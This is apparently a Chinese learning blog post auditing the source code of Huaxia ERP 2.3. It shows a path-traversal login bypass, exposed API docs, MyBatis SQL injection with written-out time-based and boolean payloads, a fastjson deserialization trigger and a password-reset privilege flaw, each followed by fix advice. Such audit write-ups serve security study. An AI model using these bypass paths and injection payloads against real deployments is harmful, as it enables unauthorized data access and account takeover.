最近刚开始学习代审 搞几个有洞的项目练练手
华夏erp 2.3
查看pom.xml依赖

是spring boot框架
看看使用哪些组件

使用了fastjson和低版本的mysql驱动
很明显这些版本都有漏洞

log4j经典漏洞组件

swagger做api文档

mybatis做java持久层
当然可能有些地方这些组件的使用在项目里面也没有漏洞 只是先看看有哪些组件而已
登录部分
定位到/user/login

通过判断请求中是否携带session 判断用户是否登录
无则尝试登录

检查登录账号与密码 返回登录状态

上面switch case捕获异常
默认是登录成功 登录成功后为用户添加session信息
该项目主要通过session来鉴权
鉴权部分
整个项目没有使用比如shiro springsecurity等安全组件
只有一个全局filter起作用
查看拦截器


先看看filter全局过滤 做了些什么事

匹配全部路由 有2个初始化参数
ignoredUrl 应该是不过滤的url 他的值是一些静态资源
也就是说一些静态资源的访问不会经过过滤器
filterPath 中的值/user/login#/user/registerUser#/v2/api-doc 应该是api文档 会被过滤
现在来看看被重写的doFilter 干了什么事

前面部分就是检测是否登录了

当访问路径不为空 且包含如上的访问资源时就不做任何过滤 也就是直接放行了
这里用的是 requestUrl.contains()只是简单的确认了是否包含这些内容 并没有检测其他东西 这里就很可能有目录穿越的问题
继续看看下面的逻辑

确实访问路径是否在ignoredUrl里面 如果有就直接放行 看看verify()

也是匹配刚刚那些静态资源

allowUrls和ignoredUrls都是通过初始化值中获取的list
ignoredUrls是这些
1 | .css |
后面的一个判断就是判断是否在那些allowUrls中了

如果访问路径的开头有包含那些allowUrls的元素 就直接放行
allowUrls是这些
1 | /user/login |
也就是说这些可以直接访问 其中的api文档可以直接被访问 属于泄露api路径了

如果上面什么都没有匹配到 那就直接去登录页面了
路径穿越与泄露api路径
现在我们可以直接启动一下这个项目 然后去测试一下刚刚提到的漏洞

根据配置文件可以自己动手修改一下数据库连接地址和登录密码什么的

来到登录界面 抓个包尝试目录穿越

目前是没有登录的状态
我们在项目中找几个会爆数据的路由

这个/account/getAccount会直接报数据 我们用这个路径来测试目录穿越
根据前面的判断 当访问路径中存在一些静态资源时 只要有就会放行

直接访问/account/getAccount会重定向到login.html
1 | /login.html/../account/getAccount |
尝试这样绕过


确实存在目录穿越 .css后缀的也可以 可以越权查看所有账户信息 其他几个数据的接口也可以这样使用
现在来试试api接口文档

也确实存在api泄露的问题 默认是可以直接访问的 应该是发项目的时候没有搞掉那个路径访问权限
修复建议
在判断静态资源加载的时候 不应该直接使用 requestUrl.contains() 判断是否为静态资源
应该先获取完整路径 然后过滤掉 ../这样的请求 然后再判断是否为静态资源
api文档路径应该及时在filter中删去
sql注入
项目使用Mybaits
我们直接查看Mapper.xml的sql语句对于参数的处理情况

很明显全是用${}来处理参数
Mybaits中有2种处理参数的情况
${} 主要是用来处理order by这种sql请求 因为这里需要的参数也是sql语句的标识符 (列名) 他不能被预编译为字面量使用 不然sql语句无法被执行
#{} 用来预编译参数 让参数成为一个字面量 而不是sql语句中的标识符 实现sql语句防御
项目中的大量存在无预编译的${} 所以肯定存在sql注入
通过全局搜索${} 寻找哪里可能存在sql注入
也可以通过在网站中抓包测试一些查询接口 然后反推出代码中具体sql语句

随便输入点信息 然后点击查询

search中的值为
1 | {"type":"出库","subType":"零售","roleType":"全部数据","status":"","number":"1","beginTime":"2026-03-31+00:00:00","endTime":"2026-04-06+23:59:59","materialParam":"2","depotIds":""} |
接口名为/depotHead/list 在代码中反推这个接口位置与sql语句

寻找到/depotHead接口
但是在Controller没找到list接口

有一个/{apiName}/list 应该是通用的接口 通过不同apiName执行不同的sql语句
寻找与depotHead有关的Mapper接口

分别看一下这2个Mapper

看看接口参数 再看看数据包中的参数类型
1 | {"type":"出库","subType":"零售","roleType":"全部数据","status":"","number":"1","beginTime":"2026-03-31+00:00:00","endTime":"2026-04-06+23:59:59","materialParam":"2","depotIds":""}¤tPage=1&pageSize=15 |
前面的参数和selectByConditionDepotHead接口中的参数对的上 offset与rows实际就是currentPage与pageSize
现在找到api对应的Mapper接口方法了
通过方法名查找Mapper.xml文件 去看看具体sql语句


在DepotHeadMapperEx.xml中查找到对应方法与sql语句 并且里面对于参数的处理是直接使用${} 直接拼接参数 可能存在sql注入
回到bp中 尝试延迟注入
1 | {"type":"'or sleep(0.01)--","subType":"零售","roleType":"全部数据","status":"","number":"1","beginTime":"2026-03-31+00:00:00","endTime":"2026-04-06+23:59:59","materialParam":"2","depotIds":""}¤tPage=1&pageSize=15 |
1 | 7B%22type%22%3A%22%27or%20sleep%280.01%29--%22%2C%22subType%22%3A%22%E9%9B%B6%E5%94%AE%22%2C%22roleType%22%3A%22%E5%85%A8%E9%83%A8%E6%95%B0%E6%8D%AE%22%2C%22status%22%3A%22%22%2C%22number%22%3A%221%22%2C%22beginTime%22%3A%222026-03-31%2B00%3A00%3A00%22%2C%22endTime%22%3A%222026-04-06%2B23%3A59%3A59%22%2C%22materialParam%22%3A%222%22%2C%22depotIds%22%3A%22%22%7D¤tPage=1&pageSize=15 |
查看回显时间

差不多是2秒
再看看项目日志

确实是拼接上去了 这里使用的是or 所以即使前面闭合 结果为false 后面的or语句也照样会执行
如果这里使用的是and 前面闭合且为空 结果为false 按理来说后面的语句应该就不会执行了

这里用了and sleep(0.01) 响应时间为1秒

sleep(0.02) 响应时间也为1秒 这里就是没有执行我们的sleep()函数 就是刚刚说的原因
or sleep(0.02)

响应时间差不多为3秒 和之前 or sleep(0.01) 响应时间为2秒有一定的规律性 可以判断为存在延迟注入
我们接着直接试试布尔注入
1 | {"type":"出库' and 1=0 --","subType":"零售","roleType":"全部数据","status":"","number":"","beginTime":"","endTime":"","materialParam":"","depotIds":""} |
url编码一下然后看看什么情况
1 | 7B%22type%22%3A%22%E5%87%BA%E5%BA%93%27%20and%200%3D1%20--%22%2C%22subType%22%3A%22%E9%9B%B6%E5%94%AE%22%2C%22roleType%22%3A%22%E5%85%A8%E9%83%A8%E6%95%B0%E6%8D%AE%22%2C%22status%22%3A%22%22%2C%22number%22%3A%22%22%2C%22beginTime%22%3A%22%22%2C%22endTime%22%3A%22%22%2C%22materialParam%22%3A%22%22%2C%22depotIds%22%3A%22%22%7D |

因为1=0恒为0 所以没有数据
我们改成1=1
1 | %7B%22type%22%3A%22%E5%87%BA%E5%BA%93%27%20and%201%3D1%20--%22%2C%22subType%22%3A%22%E9%9B%B6%E5%94%AE%22%2C%22roleType%22%3A%22%E5%85%A8%E9%83%A8%E6%95%B0%E6%8D%AE%22%2C%22status%22%3A%22%22%2C%22number%22%3A%22%22%2C%22beginTime%22%3A%22%22%2C%22endTime%22%3A%22%22%2C%22materialParam%22%3A%22%22%2C%22depotIds%22%3A%22%22%7D |

成功查询出数据 存在布尔注入
一开始我想用if判断
1 | {"type":"出库' and if(1=1,1,0) --","subType":"零售","roleType":"全部数据","status":"","number":"","beginTime":"","endTime":"","materialParam":"","depotIds":""} |
但是发现没法用if函数



报错里说无法被执行 不期待使用if
ai了一下

看起来是解析的时候没法解析我们的if函数
那么我们就不用if就行 就用其他方式照样可以
1 | {"type":"出库' and ascii(substr(database(),1,1)) > 97 --","subType":"零售","roleType":"全部数据","status":"","number":"","beginTime":"","endTime":"","materialParam":"","depotIds":""} |

成功执行 可以得到数据库的第一个字母的ascii值应该大于97
至此sql注入可以实现爆数据了
修复建议
严格限制 ${}的使用 尽量都使用#{}
order by 和 limit 等查询的时候 一定要做黑白名单 限制传入的参数类型
fastjson反序列化
在接收json数据时 进行转换可能导致触发漏洞
1 | JSON.parse |
在项目中全局搜索

可以搜索到很多地方
搜索JSONObject.parseOb


根据参数名和方法名 猜测应该是搜索什么东西的时候会调用这个方法

查看方法的调用情况 几乎所有的调用链都指向了ResourceController.getList方法

该通过接口会获取search 然后放入parameterMap中 后续通过apiName去调用方法
那么现在简单了 随便找个list接口 然后改参数打payload即可

点击并抓包
将数据改为
因为这个dns解析用的包是自带的 且fastjson里面的mapping中存在允许直接使用的类 所以可以直接打
1 | { |


虽然提示异常 但是成功了

成功触发fastjson的漏洞
我们进一步利用一下
由于默认情况AutoType是false
所以绝大部分的payload都没法打
这里先鸽鸽了。。
修复建议
提高fastjson版本 建议每次解析的时候都指定一个类
逻辑漏洞
因为之前挖过洞 所以更擅长站在黑盒的角度测试逻辑漏洞

登录框存在注册点
注册点测一波

随便注册一下 抓包

正常情况是200

存在的情况会显示登录名已存在
这里就可以用户名枚举与任意用户注册了 当然这里没法垂直注册

修复建议
限制ip注册数量
限制ip发包数量
增加手机验证码验证功能
多处越权
/user/resetPwd这个路由没有鉴权


没有判断当前用户类型 只禁止了不让重置管理员密码 可以通过id越权修改其他用户的密码
总结
第一个代审的项目 学到很多 修复的部分 还不是很熟悉修复代码要怎么写
推荐几位师傅的文章
说些什么吧!